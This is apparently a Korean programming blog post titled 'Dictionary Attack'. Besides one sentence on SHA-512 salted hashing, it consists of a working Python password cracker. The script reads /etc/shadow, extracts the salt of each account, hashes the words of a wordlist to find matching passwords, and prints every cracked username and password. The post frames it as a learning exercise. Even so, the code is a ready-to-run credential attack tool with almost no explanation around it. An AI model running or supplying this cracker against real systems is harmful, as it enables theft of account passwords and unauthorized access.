ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Dictionary Attack
    Programming/Python 2018.01.31 19:19

     - SHA-512는 $6을 포함하여 11자리를 사용자가 입력한 패스워드와 해쉬화한다.

     


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    import sys
    import os
    import crypt
     
    account={}
     
    def arg_check(argv):
        if (len(argv)) != 2 :
            print('Usage : crack [Dictionary_file]')
            sys.exit(1)
        if os.path.isfile(argv[1]) != 1 :
            print('No such Dictionary_file')
            sys.exit(1)
     
    def main():
        with open('/etc/shadow''r') as s_f : 
            while True :
                s_line = s_f.readline()
                if not s_line : break
                values = s_line.split(":")
                if values[1]=='x' or values[1]=='!' or values[1]=='*' : continue
                pass_field=values[1].split("$")
                hash='$'+pass_field[1]+'$'+pass_field[2]
                find_passwd(values, hash)
        for id in account :
            if account[id]!=None : print('id -> [%s]  password -> [%s] ' %((id), account[id]))
            else : print('id -> [%s] Password not found.' %id)
     
    def find_passwd(values, hash):
        account[values[0]]=None
        with open(sys.argv[1], 'r') as d_f : 
            while True :
                word = d_f.readline()
                if not word : break
                result=crypt.crypt(word.strip('\n'), hash)
                if result==values[1]:
                    account[values[0]]=word.strip('\n')
                    break
     
    if __name__ == "__main__" :
        arg_check(sys.argv)
        main()
    cs





    'Programming > Python' 카테고리의 다른 글

    ARP Spoofing  (0) 2018.06.28
    ARP를 이용한 host scan  (0) 2018.06.25
    scapy 사용법  (0) 2018.06.20
    살아있는 호스트 IP 스캔하기  (0) 2018.02.13
    Dictionary Attack  (0) 2018.01.31
    1의 보수와 2의 보수  (2) 2017.01.20

    댓글 0

~ ^ . ^ ~